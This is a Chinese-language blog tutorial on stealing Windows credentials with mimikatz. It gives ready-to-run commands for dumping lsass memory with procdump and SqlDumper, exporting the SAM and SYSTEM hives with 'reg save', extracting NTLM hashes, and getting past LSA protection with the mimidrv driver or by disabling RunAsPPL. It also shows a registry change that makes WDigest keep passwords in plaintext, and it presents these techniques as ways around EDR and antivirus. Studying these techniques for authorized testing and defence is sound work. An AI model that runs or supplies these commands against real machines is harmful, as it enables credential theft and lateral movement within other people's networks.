2025年了还有人不会mimikatz抓密码?
mimikatz抓取密码
相关工具准备
procdump
https://download.sysinternals.com/files/Procdump.zipmimikatz
https://github.com/gentilkiwi/mimikatz/releases具体的mimikatz命令介绍:
https://www.ascotbe.com/2020/04/14/Mimikatz/
sqldumper
一般是安装sqlserver自带的,我也不知道去哪里单独下载,反正我本地有就拿来用了原理解释
mimikatz抓密码的基本原理有
- lsass转储
- 读取sam
首先lsass是windows中负责相关的用户登录安全信息存储的进程,他里面存储着用户密码的哈希值ntlm hash,我们渗透过程中,由于各种各样的edr终端防护以及waf,很难的去抓到相关的ntlm hash,此处记录几种简单的方法
[!tips]
复现的话要使 \HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下的UseLogonCredentiald的键值为1 即代表WDigest的密码支持明文形式保存在LSA内存中)
lsass转储实现方法
【0】最简单:使用mimikatz查看密码
下载了mimikatz之后,使用管理员权限运行:
(此处我选择powershell管理员权限启动并且进入相关的mimikatz安装路径 )
输入privilege::debug 提权
privilege::debug
此处我发现win11无法直接使用sekurlsa::msv得到ntlmhash
sekurlsa::msv为了记录备份,我到win7虚拟机里面跑一次
【1】使用procdump搭配mimikatz抓取密码
Procdump是微软官方发布的工具,使用该工具可以把lsass的内存dump下来,可以绕过大多数的防护软件。
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump首先使用procdump.exe把进程lsass.exe 的内存dump下来
procdump64.exe -accepteula -ma lsass.exe lsass.dmp注意!不同渠道的procdump64会有不同的执行方式,有些不需要加elua协议同意选项
procdump64.exe -ma lsass.exe lsass.dmp
#此处我的procdump是在微软官网下载的
我又失败了,在win11的环境里没dump下来,但是在win7成功了
dump下来之后,就用mimikatz的sekurlsa模块指定这个lsass.dmp进行logonpasswords执行
mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exitwin7环境:
此处替那些好奇宝宝去查了我的ntlm hash
【2】使用sqldumper搭配mimikatz抓取密码
SqlDumper也属于微软出品,存在于SQL Server文件夹中,大多数杀软不会拦截
默认存放在C:\Program Files\Microsoft SQL Server\number\Shared,number代表SQL Server的版本
如果目标机器没有安装SQL Server,可以自己上传SqlDumper.exe 建议先用everything找
此处sqldumper需要搭配pid号来选择指定进程,所以要先找到相关的pid号:
tasklist:显示当前系统中所有正在运行的进程列表。
/svc 参数:在进程列表中附加显示每个进程关联的 Windows 服务名称(仅适用于由服务启动的进程)
findstr 参数:寻找lsass进程的pid号这里先用everything找到相关的sqldumper位置
对于这种没有sqldumper的机器,可以手动传一个上去
具体命令:
tasklist /svc | findstr lsass.exe 查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100 导出mdmp文件
Sqldumper.exe 1432 0 0x01100 导出mdmp文件
(我的win11又失败了,估计是什么地方出错)
我在win7环境下的机子也报错了
实战中把生成的mdmp文件下载到本地,使用相同的操作系统打开
mimikatz "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit(此处等到以后的环境能成功复现再补)
查询磁盘存储的sam
原理
windows内部是不保存明文密码的,只保存密码的hash,其中,本机用的密码hash是保存在本地的SAM文件中
一般是存储在C:\windows\system32\config\SAM文件中(域控环境下存在NTDS.dit文件中)
不过就算是管理员权限,也是无法正常打开并读取文件内容,因此一般无法直接通过SAM文件获取用户hash
但是可以用mimikatz来抓取,分为在线和离线两种方式:如果你能把mimikatz传上去就最好了,传不上去用离线抓取也可以
【在线操作】
具体步骤:
privilege::debug
token::whoami
token::elevate
lsadump::sam
【离线操作】
利用注册表命令将目标机的sam或者system文件导出
reg save hklm\sam sam.hiv
reg save hklm\system system.hiv将目标机上的sam.hiv和system.hiv下载到本地,导出文件时需要具有管理员权限
注意:如果要从靶机上复制下来的话是无法复制的,会提示已经在System中打开,需要借助
工具:
https://github.com/3gstudent/NinjaCopy导出SAM数据库后,把文件放置mimikatz目录下:
随后执行此命令即可:
lsadump::sam /sam:sam.hiv /system:system.hivmimikatz常见问题
没有相关的运行权限
mimikatz # privilege::debug
ERROR kuhl_m_privilege_simple;RtlAdjustPrivilege (20)c0000061使用cmd的管理员权限运行
lsass相关进程内存被锁
mimikatz#sekurlsa::logonpasswords
ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)解决方案1
lsass.exe这个进程在高版本默认是有保护锁的,然而mimikatz也可以通过自身工具进行绕过,使用数字签名的驱动程序来删除内核中 Process 对象的保护锁,但是需要文件mimidrv.sys必须位于当前文件夹中
mimikatz内运行:
!+
!processprotect /process:lsass.exe /remove
privilege::debug
sekurlsa::logonpasswords
解决方案2
禁用LSA保护
- 打开注册表编辑器 RegEdit.exe,然后导航到位于以下位置的注册表项:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
- 将注册表项的值设置为 "RunAsPPL"=dword:00000000,或删除 DWORD
微软官方文档:
https://learn.microsoft.com/zh-cn/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection#disable-lsa-protection
代码0x00000005的原因:
翻阅mimikatz的源码得:
HANDLE hData = NULL;
DWORD pid;
DWORD processRights = PROCESS_VM_READ | PROCESS_QUERY_INFORMATION;
kull_m_process_getProcessIdForName(L"lsass.exe", &pid);
hData = OpenProcess(processRights, FALSE, pid);
if (hData && hData != INVALID_HANDLE_VALUE) {
// if OpenProcess OK
} else {
PRINT_ERROR_AUTO(L"Handle on memory");
}这段代码中它首先获取被调用进程的 PID,lsass.exe然后尝试使用标志和调用Win32函数来打开它(即获取进程句柄),现在他的访问被拒绝了是因为我们的LSA保护成功打开了,成功阻止mimikatz读取凭证
参考文献:
http://wiki.tidesec.com/docs/jswz
https://xz.aliyun.com/news/9382
https://blog.csdn.net/weixin_45791884/article/details/118861726
报错key import

直接用老版本mimikatz(2.1.1)就可以了,至于原因暂时不清楚
